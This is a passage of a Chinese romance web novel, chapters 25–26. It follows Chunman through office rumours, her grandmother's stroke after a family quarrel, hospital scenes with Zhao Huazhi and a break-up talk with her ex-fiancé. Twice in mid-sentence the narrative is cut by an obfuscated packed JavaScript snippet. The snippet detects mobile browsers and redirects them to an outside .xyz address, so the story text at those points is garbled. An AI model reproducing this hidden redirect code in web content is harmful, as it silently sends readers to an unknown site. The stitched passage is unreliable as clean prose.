赵华致看着她进店里,游走在一排排货架间,再出来时手里多了一个沉甸甸的手提袋。 春满坐回车里,不好意思地解释了句:“收银的机器坏了,耽误了时间。”随后她把购物袋递给赵华致,说:“这些都给你。” 赵华致面露狐疑,伸手扒拉开提手看了看,着实没看出其中玄妙:“谢谢,但是……为什么送我这些?” “你现在不喜欢了吗?” 春满的问题在赵华致听来只觉莫名其妙,他怀疑是不是自己记忆出错了,不然春满为什么要给他安排这个爱好呢? 是他们以前经历过什么,他如今忘记了吗? 赵华致小幅度地蹙了下眉,眼神疑惑。 “赵赵都告诉我。 ”春满言简意赅地总结了赵昭儿的内容。 赵华致沉默良久,让人摸不出喜怒地问了句:“她是这样说的?” 春满后知后觉自己的冒失,每个人总有些弱点和经历是雷点,她试探地询问:“你介意让我知道吗?” 赵华致回答得很是直白:“……这些我恐怕没办法告诉你。” 春满对此不见怪,深刻反思自己,正想着补救的方法。 只听赵华致继续道:“因为我编不了这么精彩。” “啊?” 春满对视上他毫无负担甚至被逗笑的眼神时,恍惚间明白是赵昭儿骗了自己。 “有时间带你去参观一下我的博物馆。”赵华致表情仿佛在说,是时候向你展示一下我丰富又精彩的童年。 “……” 春满盯着赵华致面前的购物袋时,恨不能抢过来降下窗户丢出去,这哪里是什么礼物,简直是她蠢笨至极的罪证。 “你能先把这袋子东西还给我吗?”春满无地自容。 赵华致语气认真:“不是送我的礼物吗?” 春满一个头两个大,感觉自己窘迫得脸皮火辣辣的烫:“你先还给我,我重新给你准备一份。” 赵华致手却没松:“这份就很好。虽然小时候不喜欢,但现在很喜欢。” 25.第 25 章 25 餐厅依旧是赵华致选的,春满进门时盯着招牌多看了几秒,赵华致注意到,问:“又是你之前来过的店?” 春满虽不太想承认,但事实就是如此。见赵华致一脸严肃似乎开始思考要不要换餐厅,春满扯了扯他的手腕,说:“就这家吧。” 春满在这座城市生活多年,随处可见过去的痕迹,没那么容易避开。 赵华致垂眸扫了眼被春满轻轻触碰很快松开的手腕,嘴角动了动,最终什么也没说。 春满将他的反应收入眼底,并没有多解释。这家餐厅老板不是佟向琴那边的人脉,是春满的大学学姐,跟她更亲近些。 点餐的时候,春满向服务生问起:“杨歌今天在店里吗?” 服务生经过培训,说话柔声细语,笑容温柔:“老板在的。” 赵华致看春满一眼,等服务生出去,才说:“下次还是在家里吃吧,免得踩雷。” 不多时,服务生敲开包间门上菜。 杨歌紧随其后出现:“慢慢,好久没来了。”说完,她毫不掩饰地打量着赵华致,形象、气度,无一不拔尖:“这位是……?” 春满知道杨歌比姜早早还要没正形,在她语不惊人死不休的猜测出口前,及时介绍:“朋友。” 杨歌意味深长地哦了声。 赵华致不介意被人审视,甚至没什么架子地打招呼:“你好,赵华致。” 杨歌并不在意这个名字代表着的社会地位,依旧挂着那副起哄朋友感情的笑容,倾身凑在春满耳边,说了句悄悄话。 因为涉及赵华致,春满下意识瞥了他一眼,随后心虚地快速收回,仓促地说了句:“还不是。” 杨歌挑眉:“那就是快了,提前恭喜。” 春满无奈,杨歌倒没久留,走之前突然想起什么,低声提醒了句:“谢开阳和家人在隔壁包间。” 春满眨眼,将前一瞬的旖旎情绪都丢开。 杨歌和赵华致客套一番离开后,赵华致才问起:“她刚刚说了什么?和我有关?” 春满恍惚地回神,低眸摆弄着面前的餐具,状似随意地坦白:“她说,这个男朋友比上一个帅。” 见她不像撒谎,赵华致眼底浮出一层浅浅的笑,说:“看来我选对地方了。” 春满含糊地嗯了声。 二楼包间临湖,入眼的假山茂林很是清幽,菜肴精致地道,身心都是享受。 两人用完餐离开,从隔壁包间门口经过时,有服务生开门出来,春满特意朝里面望了眼,客人已经离开,正在做清洁。 春满莫名地舒了口气。 快走出餐厅时,春满准备给杨歌说一声自己吃完走了,一摸包没找到手机。 “怎么了?”赵华致问。 “手机应该是落在包间里了。”春满知道自己还是被杨歌那句提醒影响了。 杨歌和谢开阳是同级同社团的朋友,不清楚春满跟谢家的真实纠葛,在谢开阳的钱夹里见过春满的照片,误以为他暗恋春满。 春满和谢开阳出于各种原因并不方便告知真相,让她一误会就误会了这么多年。 “我回去找一下。”春满说。 “我去吧。”赵华致把车钥匙给她,“你先到车里等我。” 春满没争论这个,应声接了钥匙。 等赵华致走远,春满一改方才故作轻松的状态,扎进自己的思绪中。 和大学时相比,如今她和谢开阳达成一种平和的相处模式,但她对自己的亲生父亲——谢揾,并没有放下芥蒂。 自从那个暴雨夜,谢揾带着哥哥离开后,便没再主动联系过春满,好似没有她这个女儿一般。 明明他是那么一个儒雅温和的人,是怎么做出这般狠心又绝情的事呢? “啧,你真是阴魂不散。” 听到谢宴迟的声音,春满迟钝地回神。她朝周围看看,发现只有谢宴迟一个人。 此刻他坐在石阶上打游戏,春满不知道他为什么没跟家人离开。 “你是在说自己吗?”春满从善如流地反击。 春满第一次见到谢宴迟便发现,虽然个性桀骜不驯,但他的相貌很好地遗传了谢揾的基因,有七八分像。 这让待人一向和气的春满每每面对他,难免会想到谢揾,加之谢宴迟随时随地看她不顺眼的态度,春满毫无心理负担地怼回去。 谢宴迟哼了声,起身拍了拍裤子,走了。 赵华致拿到手机回来,只看到谢宴迟的背影,问春满:“没事吧?” 春满轻轻摇头。 - 新的一周,春满像往常一样打卡上班,一路上注意到同事看自己的眼神说不上哪里的古怪。 等到了办公室,同事神秘兮兮地八卦:“小满姐,我听说你现在是咱园里两家主题餐厅的老板了?” 春满搁包的动作一顿,问:“你听谁说的?” “大家都这么说。所以,是真的?” 春满郑重澄清:“假的。” 如果只是这一条谣言倒还好了。春满下午找章啸行签文件时,才听说另一件事。 “你跟谢宴迟没什么吧?”章啸行看上去被这个问题困扰很久。 春满记得自己先前跟他说过,简单回忆确认自己和谢宴迟近来连冲突都很少发生,相较起来,谢宴迟最近对赵昭儿的敌意比自己大,不解道:“为什么这么问?” “园里有同事说上周末谢家家宴,看到你和谢宴迟在一起。不少人都以为你一边霸占着房家的产业,一边攀上了谢宴迟。” “?” 佟向琴要把园里的两家主题餐厅写给她,这事城西餐厅的不少服务生都知道。在外面的餐厅遇到谢宴迟,有人路过注意到也不奇怪。 但有园里的同事知道,甚至同时知道两件事的几率便太小了。 若说没有人在背后推动,春满是不信的。 “不会是赵华致做的吧?”姜早早今天带家里的小侄女来动物园玩,听春满说完,沉默良久后,如是猜测,并且说明原因,“我知道你眼中的赵华致不会做这样的事,但你要明白,他作为从一次次商战中脱颖而出的佼佼者,追人时不搞点小动作可能吗?说不准这次的事,便是他为了来场英雄救美故意安排的。” 赵华致的确具备知道这两件事的条件。 “我觉得他不是这样的人。”春满还是说。 姜早早纯属猜测,赵华致的城府不是她能看透的。她毕竟没有证据,只道:“但愿是这样。” - 八卦背着春满传播,并没有给她造成实际性的伤害,她也因此没有澄清的机会。 下班时间,她出发去给姥姥过寿。 舅舅一家都在,前段时间他们夫妻俩在满郁身上吃了苦头后,忙着给表哥找律师打官司,没再在背后给满郁搞什么小动作。 表哥今天来不了,老太太问起大孙子时,舅妈为儿子编排了一个清白的理由,氛围还算融洽。 这场生日是满郁操办的,寿桃蛋糕是春满订的。 老太太切蛋糕时,满郁特意说:“慢慢特意选的你喜欢的黄桃口味。” 老太太尝了口,看露出的表情是满意的。满郁正分切其他人的蛋糕时,老太太眯了眯眼,像是走神,道:“就是有点小,不如去年小赫买的大,也不如去年的好看。” 满郁拿着蛋糕刀的动作微顿,面上的笑僵了僵,给春满切了一小块便把刀搁下,没管其他人。 去年春嘉赫买的蛋糕是大,质量最次的植物奶油,一个十寸的双层蛋糕市场价还不如他一包烟贵。 更别提老太太得吃无糖的这么重要的细节都忘记了。 舅妈因为儿子被夸喜上眉梢:“小赫是很懂事。前几天他还说谈了女朋友第一时间带回来让奶奶帮忙掌掌眼呢,明年过寿,还让他给您买蛋糕。” “好好好,我等着呢。”老太太念叨了几句孙子的情况,然后看向春满,仿佛才想起来一般,问,“怎么没见到小恺?去年让他拍全家福他不拍,说今年再一起拍。他怎么没来?” 春满刚要说话,被舅妈抬高声音抢了先:“妈您还不知道吧,春满厉害着呢,换了个男朋友,对方家里比小恺更有钱。” “换了?”老太太年纪大了容易犯糊涂,理解起来估计要费些事,“怎么突然换了呢,小恺多好一个孩子。” 当初取消订婚,春满没跟人提过分开的实情;对姥姥解释时,更是没把话说死。 老人牵挂孩子终身大事,难免心急上火、过度操心。 姥姥只以为两个孩子性格不合,还劝春满再处处看,春满半推半就地应下,想着时间长了,老人自然便接受了。 “舅妈!”春满并不怎么礼貌地出声打断:“我自己都不知道事,你又知道了?” 眼前的中年妇女端着自以为良善的面貌,嬉笑着:“害。你单位同事们都这么说,还能有假啊。你就别瞒着我们这些大人了,都懂都懂,你爸当年不就是——” 春满当即脸色一白。 老太太歪着头听了会儿,算是听明白了,手里的拐杖乓乓乓地敲着地板,激动出声:“简直是胡闹!” 满郁和谢揾当年是自由恋爱,有过一段甜蜜日子,但变心也是真的。为了攀高枝宁愿当赘婿,这在街坊间都不是秘密。 满郁拿了补偿闭口不提谢揾的错处,但别人都有嘴,七嘴八舌从来没停过。 家里人因为这事好几年都抬不起头,春满那时候年纪小,流言蜚语像刀子一般落在身上的记忆却是深刻而清晰的。 “你真做了朝三暮四的勾当?!”老太太的拐杖敲在桌子上,一句话掷地有声。 舅舅要说话,被舅妈一胳膊拽回去。 春满语气坚定:“我没有。” 拐杖又一下,老太太问:“那你把小恺叫了来,现在打电话去叫!” 春满脸别开,没照做:“我和他已经分开了,他不会再来我们家。” “胡闹!你跟你爸一样的玩意儿!” 满郁去车里拿了贴膏药,回来时正看到老太太的拐杖抡在春满右边肩膀上。 闷响惊得满郁母鸡护崽似的挡过去,才没给老太太抡第二次的机会。 满郁离婚后给春满改名,愿意让她随老太太姓,便是因为心疼老太太操持一辈子的苦劳。但重男轻女的恶习根深蒂固地植在老太太的心里,满郁以前抱着侥幸心理,没认清现实,又觉得人年纪大了,总归会变得开明仁慈。 谁曾想是更顽固愚昧了。 春嘉赫那么混的一个人,老太太连骂都没骂过一句,如今却上手打春满一个女孩儿。 这一拐杖打在春满身上,直接断送了满郁和老太太本就岌岌可危的母女情。 满郁心中有万千鸣不平的话即将喷薄而出,只是没等她发作,只见老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625223|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上半身一僵,后背直挺挺地绷着,不过是几秒钟的时间,整个人往后一栽,倒在地上。 “妈!” “姥姥!” 医院被暮色四合的环境隆重在一种压抑的气氛中。 手术室外的走廊上,有人攥着拳神色紧张而交集,也有人言之凿凿不讲理地兴师问罪。 “春满你说你老大不小了,怎么这么不懂事。你姥姥年纪大了,经不住激动。你顺着她说几句话能委屈着你吗?” 满郁在安全通道打完电话回来正听到这些,当即急脾气地出声刺她:“在场谁比得过你懂事啊,五十岁的年纪,长了张八十岁的脸,操着祖宗的心。我看你是一点记性不长,少操心别人家的事,先把自己的屁股擦干净,懂吗?” 满郁走近后,把春满拽到自己身后,压根不用趾高气昂,轻飘飘的几句话就很有分量:“你要是觉得自己太闲,我不介意帮你找点事做。” “你……我……!”舅妈在邻里间、婆媳间一向蛮横,但在满郁这里讨不到便宜,当即噎声。 旁边一直沉默当空气的舅舅不耐烦地出声,让大家安静地等。 门上红色的“手术中”的灯牌亮得人心惶惶。 满郁拍了拍春满的胳膊,让她去急诊看一下肩膀的伤。 春满本不想走开,但看满郁坚定地安排,便还是答应了。 刚走到电梯间,春满的手机响,她拿起看了眼,是赵华致发来的消息。 “还没下班?” 赵华致今天工作结束得晚,回家时已经是夜里,车子开进车库,注意到春满的车位是空的,才发了这条消息。 “家里老人住院,我今天可能得陪床。”春满回复完,准备收起手机,电话铃先响起来。 她顿足片刻,进了旁边的楼梯间接通。 赵华致关切的声音出现在电话那头:“怎么突然住院,情况严重吗?” 春满一想到姥姥脑梗的原因,当即鼻头一酸,内心自责又羞愧:“我不知道。赵华致……” 春满想找人倾诉一下,说一说具体的情况,不是为了撇掉自己的责任,只是想心里好受一点。 但话说出口她才意识自己语调里带着哭腔,最终没能说下去。 被连名带姓叫名字,并不是一件亲昵的事,但在赵华致听来,这个称呼十分有威力。 “我在,你说。”他耐心地等待着,静静地听着电话那头的一切声音。 春满避开手机做了次深呼吸,平复情绪后才说:“没事,就是姥姥住院,我有点儿担心。” 难受、害怕,等等形容词中,春满选择了程度对轻的一个。 赵华致原本应该搭乘电梯上楼,但因为这通电话站在车库的电梯间,迟迟没动作。 空旷明亮的环境衬得他挺拔又瘦削,微沉的嗓音温柔又有耐心。 “在哪家医院?我过去看看你。” 春满没有回答。 “偷偷见你一面,不被你家里人发现,行吗?我现在很担心你。”赵华致大步流星迈步走回自己的车,继续道:“你不告诉我我就自己让人去查。” 春满抿唇,最终还是报了医院地址。 赵华致坐进车里,挂断电话,刚发动车子,赵昭儿的电话打进来。 “哥!嫂子那边出事了!” 赵华致以为她指的是家人住院的事,嗯了声。 赵昭儿听他反应平淡,误会他没当回事,很是气愤地加重了语气,说:“我该提醒嫂子的,那天听到有个同事背后说嫂子的坏话,我没当回事,没想到对方惹出这么大祸。现在动物园的同事们都以为她是攀高枝的拜金女!” “怎么回事?你具体说说。”赵华致皱着眉,问。 半个小时后,赵华致在市中心医院住院部十楼的楼梯间找到春满。 她不知道在这里坐了多久,像是已经跟楼梯结构融为一体。听到开门的声音后缓慢地抬头,露出个紧绷的笑容:“你来了。” “坐地上不凉吗?”赵华致伸手揽了春满的肩膀一下,想扶她起来。 只听春满疼得嘶了声,赵华致立刻警惕地松开手。 “怎么了?” 春满轻轻摇头,慢吞吞站起来后,自个儿摸了摸他刚碰到的肩膀,说:“被我姥姥拿拐杖抽了一下,就是这个位置。” 赵华致当即皱眉,手抬着却不敢靠近,半晌后先问了句:“很疼吗?” “只有一点儿。”身体的疼痛远不如心理上的伤害。 赵华致盯着她因为久不喝水而微微发干的嘴唇,后悔在楼下路过宵夜摊时没买盒热牛奶带上来:“为什么打你?” “老人年纪大,认死理。因为一些捕风捉影的事,气急了。” “和同事间的谣言有关?” “你知道了?”春满看了赵华致一眼。 “你知道?”和“你知道了?”两种表述,却是不一样的立场。春满还是没能将姜早早的提醒放在心上。 “来的路上听赵赵说的。”赵华致抬着的手落到春满头发上,春满不知是精神不支还是想躲,脚步往前迈了半步。 赵华致没立刻撤手,低着头,轻声:“让我抱抱你,行吗?” 春满没回答,沉默中,脚步又往前迈了一步。 赵华致避开她受伤的那边肩膀,揽腰把人结结实实地拥在怀里,揉了揉她的头发,嗓音沙哑道:“委屈你了。” 26.第 26 章 26 随着赵华致的手臂收得紧,春满紧密地贴在她胸膛上。 扑面而来的男士香水味道自带冷意,和她身上混着玫瑰香的天然草本气息交织在一起。 春满久违地感受到了安心。大概跟小时候的经历有关,她比绝大多数人要冷情,但也比大多数人都有热忱;她配得感很低,却又比任何人都懂得爱自己。 她不是一个愿意并且放心依附别人的人,因为她明白很难有人可以满足她全部的期待和要求。 房嘉恺是吗?春满过去以为他是,但事实证明他不是。 赵华致是吗?春满认为短时间内没办法确认。 赵华致说喜欢她很多年,可春满想不明白,像他这种天生优越的人,为什么能悄无声息地暗恋呢? 这分明是一件很孤独又很自卑的事。 说句不好听的,性格上没点缺陷的人做不出这样的事。 可自己身上有什么地方是有所图的吗?春满思来想去,并没有找到。 春满没有过分依赖,短暂地放松后,她挣开了赵华致的圈禁。 “手里拿着什么?”赵华致注意到她垂在身侧的手一直攥着,不像紧张,更像是拿着什么东西。 春满把手摊开,给他看,是献血后用来止血的棉球:“没找到地方丢。” 赵华致很快记起医院的规定,患者用血需家属先献血获得额度。 “够用吗?我也可以献。”他说。 “谢谢,但应该够了,” 两人正说着,春满的手机响,是满郁打来通知她手术结束。春满挂断电话,掖了掖鬓角的碎发,对赵华致说:“我该回去了。” 赵华致轻声应了句“好”,完全是商量的语气:“那我和你间隔一会儿再离开,有事给我打电话。” “路上小心。” 春满从安全通道走出,迎面便遇见要去主任办公室的满郁。 “原来你在这,眼眶这么红,刚刚哭过了?”满郁朝春满身后的厚重防火门望了眼。 安全通道内,赵华致听不真切春满回答了什么,分辨了数秒便作罢,拨通助理的电话:“怎么样了?” 特助沉稳不乱,汇报道:“已经联系上了,但对方明天上午有手术,最早晚上才能到医院会诊。” 三两句沟通后,赵华致结束这通电话,走出了安全通道的防火门。 他低着头边走边拨出另一个号码,在嘟声中往电梯间走去。 “赵总?” 赵华致循声抬眼,看到从主任办公室回来的满郁。 满郁视线从刚刚掩住的那扇防火门移到赵华致脸上,意外的神色中带着几分意味不明的探究。 随着电话那头传来谢开阳的声音,赵华致只仓促地冲满郁轻点一下头算作打招呼,大步流星地越过她。 “有事?” 面对谢开阳的疑问,赵华致开门见山:“你弟在搞什么名堂?” “什么?” “你不知道吗?看来你也没多关心你妹妹。”赵华致夹枪带棒,回击谢开阳的茫然。 - 谢家。 谢开阳结束通话后,穿过走廊敲开谢宴迟的卧室门,径自摘掉男生头上的耳机,问:“你还打算在动物园胡闹多久?从明天起不准去了。” 谢宴迟把游戏手柄放下,一提到动物园,便知道跟春满有关。谢宴迟不希望他管春满的事,当即耷拉着个脸,问:“为什么?我又没添乱。” “还嫌不够乱?”谢开阳声音压低些,气势却不弱,“春满怎么说也跟你有四分之一血缘关系,让外人编排你们的关系你觉得合适吗?” “什么跟什么啊。”谢宴迟也就今天出外勤没去动物园上班,莫名其妙地嘀咕一声,摸出手机找人打听。 不过几分钟,谢宴迟便知道了那些捕风捉影的闲话。 “迟哥,我帮你跟人澄清了,你肯定不屑做撬墙角的事,就算是真的,那也不是你主动……” 谢宴迟把刚收到的语音消息暂停,对谢开阳说:“哥你看吧,我也是刚知道这事。谁知道是哪个没脑子的玩意儿乱造的谣。” 谢开阳旁观了会儿,也明白嫌疑不在自己弟弟这里:“行了。你明天老实在家里待着,这事别管了。” 不让他管,那就是谢开阳要自己处理。谢宴迟显然不愿意,制止道:“不,我要自己解决。” - 姥姥的状况不算好,春满第二天索性没上班,请假一直待在医院陪床。 舅舅夫妻俩到下午才来了趟医院,听医生说完老人的情况,一脸愁容。 “小满,房家关系多,你就当是为了你姥姥,去找房嘉恺帮帮忙行吗?”舅妈一改昨日口蜜腹剑的姿态,很是语重心长地哀求春满。 舅舅也插话:“是啊。小满,你姥姥从小就疼你。要不是昨天你的事,她也不用遭这个罪……你去找找路子。” 满郁陪老太太去做检查,此刻病房里只落春满和他们对峙。 满郁那巧舌如簧怼人的本事春满不是不会,但面前两个人毕竟是长辈,春满很难说得出口。 沉默半晌后,春满含糊地说:“我来想办法。” 春满离开病房,自然不是联系房嘉恺或者佟向琴。她正琢磨自己和满郁的社交圈子里有什么可以联系的医生人脉,赵华致的消息弹出来。 “吃饭了吗?” 春满没立刻回,停留在通讯录页面,打算通过自己的大学教授联系到医学方面的专家。 或许春满的运气好,一通电话下来,还真被她问到了一位。 “我这边帮你打一下招呼,但对方具体有没有时间还待定。据我所知,他这几天的行程都在广州。” 听教授如是说,春满仍松了口气,记下号码,打算先联系上再看情况沟通。 第一遍电话打过去,是专家的助手接的,春满只简单地自报家门,表明一小时后再联系。 估摸着老人做检查的时间,春满往回走。 在病房里没看到人回来,舅妈也不知去哪里了,只有舅舅一个人在玩手机。 春满没进去,等在走廊上通过各种途径打听那位专家的喜好。 隔了好一会儿,她才注意到通知栏里提示有一通来自赵华致的未接电话,是在她给专家打电话的时间打进来的,因此没听到。 春满站直些,打算找个安静的地方回电话。 她习惯性去安全通道,谁知刚要开楼梯间的防火门,隐约听到里面有人,传出来的对话声音很熟悉。 “你放心,有老太太施压,春满肯定会重新考虑的。我们一家人都很喜欢小恺,这么好的孩子打着灯笼都难找。佟姐,你看我男人的车队……” 隔着厚重的防火门,春满听不真切里面的谈话内容,但不难分辨出说话的人是她的舅妈。 而与她一起的则是佟向琴:“等这件事结束再说吧。” 春满若有所思,这两天各种事故频发,但她此刻的头脑却格外清醒。 春满的手机乍响,她第一时间按断,在门内的人发现前,身影闪到旁边的电梯间。 电话是满郁打来的,让她去主治医生办公室。 春满挂断电话,深吸口气先调整情绪,凡事有轻重缓急,姥姥为重。 春满到办公室时,发现这里洋洋洒洒聚了不少医护人员。她下意识以为是姥姥的状况不利,等走到满郁身边,随着她低声介绍,春满才注意到,眼前这位由本院副院长陪着说话的正是方才春满试图联系的专家。 这么巧。 “你联系的?”春满问满郁。 后者摇摇头:“让我找个头部网红,我能请来,请这个级别的专家我哪有面子。” 春满便觉得奇怪了,连教授都没办法给准话的人就这么出现了。 一两秒后,她走神地想到刚刚出现在医院里的佟向琴。 难道是打一巴掌给个甜枣?春满想不通。 办公室里的谈话持续了半个小时,专家针对姥姥的情况制定出治疗方案。 春满听着,渐渐地安了心。 结束后,春满在专家离开前,上前搭话:“何医生,您好。我叫春满,是陈思明陈教授的学生,因为我姥姥的病情给您打过电话,没想到先在这里见到了。” 何宵衷面目慈和渊博,毫无架子,耐心地听春满说完。这时,一旁的助手上前跟他说了致电的事。 “这不是巧了。你今天联系我,有人昨晚联系我。”何宵衷绕口令似的说了一句,用长辈看自家晚辈的眼神,笑呵呵地说,“还是华致那孩子动作快啊。” 听到对方提起赵华致,春满当即怔住,腹稿中一切有关感谢的话都忘在脑后。 从医生办公室出来,满郁问春满:“你跟那个赵华致什么情况?还说只是普通的邻居?昨天他来医院是找你的吧?” 满郁一向不参与她的生活决策,但此刻连番质问后,说了句:“你姥姥还真没冤枉你,你真是随了你爸。” 春满不爱听这句话。 “妈,不是你想的那样。”春满给予澄清。 满郁摆摆手,不愿多提这事:“行了,没怪你。回病房吧。” 春满执意解释,别人可以误会,但她不希望满郁也这样以为。只是没等她留住人,手机震动,有消息进来。 不是春满一直没顾上联系的赵华致,是赵昭儿。 她发来了一段音频。 - 病房里,佟向琴正在陪姥姥说话,话里话外离不开房嘉恺,说他最近出差了,回来一定来医院探望。 老太太刚从手术台上下来,精力虚弱,但脸上挂着笑,听到佟向琴的话很是开心。 春满除了刚进门时跟佟向琴打了个招呼,并没有说任何让姥姥情绪激动的话。 春满全程只听她们说话,专心地坐在病床边削苹果,她的手很稳,薄薄的刀刃贴合着苹果形状一圈圈地转着,宽度均匀的果皮不比刀刃厚多少。 不多时,佟向琴笑容和气地嘱咐老太太好好调理身体,然后以自己有事为由作别。 老太太口吃不清,含含糊糊地说着什么。 春满适才搁下手里的东西,起身:“姥姥,我去送一下。” 从病房出来,过去亲如母女的两个人往电梯间走。佟向琴先熟络地批评春满的见外,说家里有人住院应该早告诉她才是,又说主治主任那边已经打过招呼,让她放心,还说当下照顾病人的情绪更重要,老人到了一定年纪就跟小孩似的,要哄。 佟向琴在社交中一向是妥帖、耐心,但强势,一度打乱春满自己的生活节奏,却也在维护她尊严的同时释放善意。 春满一一应着,道谢。 住院部很是清净,电梯间尤其。 电梯到了,佟向琴却没立刻进去,看着春满,似是很为难地开口:“阿姨有几句话想跟你说,希望你不要介意。” 春满表情平和,看着她:“您说。” “看到你跟小恺闹矛盾,我很担心,也理解你的态度和坚持,但是阿姨想说,两个人在一起,不可能永远是平平顺顺的,总会有不受控的事情发生。但人犯错了,可以改。你和小恺在一起,遇到什么事,阿姨和叔叔都能陪你们一起承担,长辈们辛苦奋斗不就是为了让自己家人把日子过好吗?” 春满想回应,被佟向琴打断。 “我前几天遇到一个朋友,说碰见你和赵华致一块吃饭,误会你和小恺分手是跟赵家有关系。我说不能,春满不是爱慕虚荣、没分寸的人。但别怪阿姨多嘴,你在交朋友时,该防备一点的。”佟向琴神情始终和和气气的,如同一位宽容开明、善解人意的长辈,“像赫京这种规模的企业,风吹草动时稍有一点火星便能引发大火,那年他们公司一个高管私生活丑闻直接影响股价触底,口碑一落千丈。房嘉恺是他的员工,同事们都知道你过去是他员工的准未婚妻,等这件事发酵到不可控的地步,赵华致不比那位高管的影响力大?舆论中的每一方都有自己的苦衷,但网络上操着键盘抨击的网民不在乎这些,届时股票动荡,千千万万股民的利益遭受重创。赵华致家底殷实,身经百战,能承担这份责任,但你呢,你敢面对吗?” 佟向琴说得很客气,又很不客气,句句是事实且经得起推敲,可…… 春满想到赵昭儿发来的那段音频。 音频中,是佟向琴和春满同事的对话。 很短,但内容主旨非常明确。 是近段时间春满遭受一切舆论压力的直接原因。 必须得承认,佟向琴是一个好妈妈。她不见得有多喜欢春满,但因为房嘉恺喜欢,所以她和房叔叔愿意接纳,并且把春满当成家庭一份子来对待。 但这前提是,她是这个家的一份子。 “阿姨,我会记住你的提醒。”除此之前,春满没有其他想说的。上次折回餐厅还转让合同时,她已经跟佟向琴把自己的态度说得很清楚,此刻并不打算复诵。 没等春满抬手按电梯下行键,不知道什么时候关上的电梯门重新打开,房嘉恺姗姗来迟,提着果篮前来探望。 “小恺来了,还以为你出差得明天回来。正好,你陪慢慢待会儿,司机还在楼下,我得走了。”佟向琴拍了拍春满的手,刚刚的话题点到为止,不打算继续深入讨论,只嘱咐道,“阿姨相信你会做出正确判断。” 房嘉恺站在电梯间目送佟向琴下去,才看向春满,问:“姥姥身体好些了吗?” 春满搪塞地嗯了声,望着他满是担忧的眼睛,说:“我们聊一聊吧。” “好。” 春满重新按了电梯下行的按钮,带房嘉恺远离姥姥的病房以及她的其他家人。 医院对面的快餐店里,两人坐在还算安静的角落。 春满终于提起那件她一直以来没说过的,让她第一次动摇这份感情的往事:“春节后我陪你回家吃饭那次,我身体不舒服睡得早,起夜时不小心听到你跟叔叔在书房说话。” 房嘉恺眉心一跳,不知道春满为什么如此突兀地提起这个,等他依稀回忆起那天发生了什么,为时晚矣。 “可能是白天沈栀意一家来家里串门的关系,你和叔叔聊天的内容跟她有关。”春满语速慢,说话时一直盯着房嘉恺,留意他的反应,“他说‘春满虽然不错,但爸爸更希望你和小意在一起。咱们两家知根知底,也能互相帮衬。’你记得吗?你当时没有明确拒绝,说了句‘谁让小意不喜欢我呢。’这句话很让我寒心,你知道吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654853|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是积木游戏中,最先被抽走的打地基的那块。 春满自嘲地笑了下,继续道:“所以那个台风夜,在你电脑上看到你跟大学同学的聊天记录,我没有想象中的恼火。如果一次是偶然,是意外,被我撞见两次,足以说明问题了吧。房嘉恺,我没有勇气,也不想,去经历第三次类似的事。” 春满在感情中需要决不动摇的偏爱,她害怕去怀疑,害怕自己是退而求其次地选择。 所以不论房嘉恺说什么,春满的态度都很坚定。 春满断掉了所有可能性,把话说得温柔又绝情:“适可而止吧。不要让我厌恶跟你有关的一切了,好吗?我已经开始后悔认识你们这一家人了。” 见完房嘉恺回病房的路上,春满想起另外一些事。 一些很温暖的事。 那是他们确认关系的第二天,房嘉恺带春满回家吃饭。 春满预想中被长辈审视的局面没有出现,佟向琴和丈夫开明宽容,一顿饭吃得非常愉悦。春满是个对生活细节很注重的人,但那天没有任何她感到不适的时刻。 饭后一家人在客厅喝茶聊天的场景,春满至今都能想起。 这样再寻常不过的画面,春满在父母决定离婚时便不再拥有。 他们离婚后春满先后住在姥姥家和舅舅家,后来虽然被满郁带在身边,但满郁工作忙,每天电话不断,即便母女俩有坐下来好好吃顿饭的机会,饭还没吃完,满郁的电话便响了。 所以她由衷地喜欢这个氛围,像是恋爱脑一般,上头地将这个“优势”附加在房嘉恺身上。 事实上,房嘉恺一家的确是很好的人,房嘉恺本质上也是个不错的人。 春满记得他们在一起后,一起过的第一个生日。房嘉恺亲手给她做过一个蛋糕,放在冰箱里送出前,被来家里串门的沈栀意误吃。 房嘉恺烘焙技术不得要领,笨手笨脚,尝试了好久才成功做出一个。良好的家教让他不会为了别人的不小心动怒,只是躲起来独自郁闷和沮丧。沈栀意得知后,把自己好不容易抢到的演唱会门票拿出来,让他带春满去看,家里其他人得知春满要过生日,陪他重新做了蛋糕,并且每个人都准备了一束花,努力弥补那个蛋糕的缺憾。 所以那年的生日,春满拥有了一个很美好的生日活动,吃了蛋糕,看了演唱会,还收到了很多很多,颜色各异、风格不搭的花。 她和房嘉恺在一起的四年间,沾了房嘉恺的光,绝大多数时间都被这种满得要溢出来、美好得如同臆想的爱意包围。 春满从来没后悔过四年前接受他告白的决定,只是有些难过,世事的发展由不得她控制。 所以,方才对房嘉恺说的最后那句话,还是太过激了一些。 但如果能管用,那就让她做一回恶人吧。 春满想。 - 天黑透了,春满才从医院离开。 她坐到车里联系赵华致,回了他信息中的问题:“一直没顾上吃。准备回家随便吃点儿。” “你回家后不想费事的话,去我那吧,家里阿姨煮了饭。”赵华致回复得比春满想象得快。 春满没拒绝,反倒说:“那我等你一起吃。” “你先吃。我这边结束还早。”赵华致把家门的密码告诉她。 春满应了声好,发动车子。 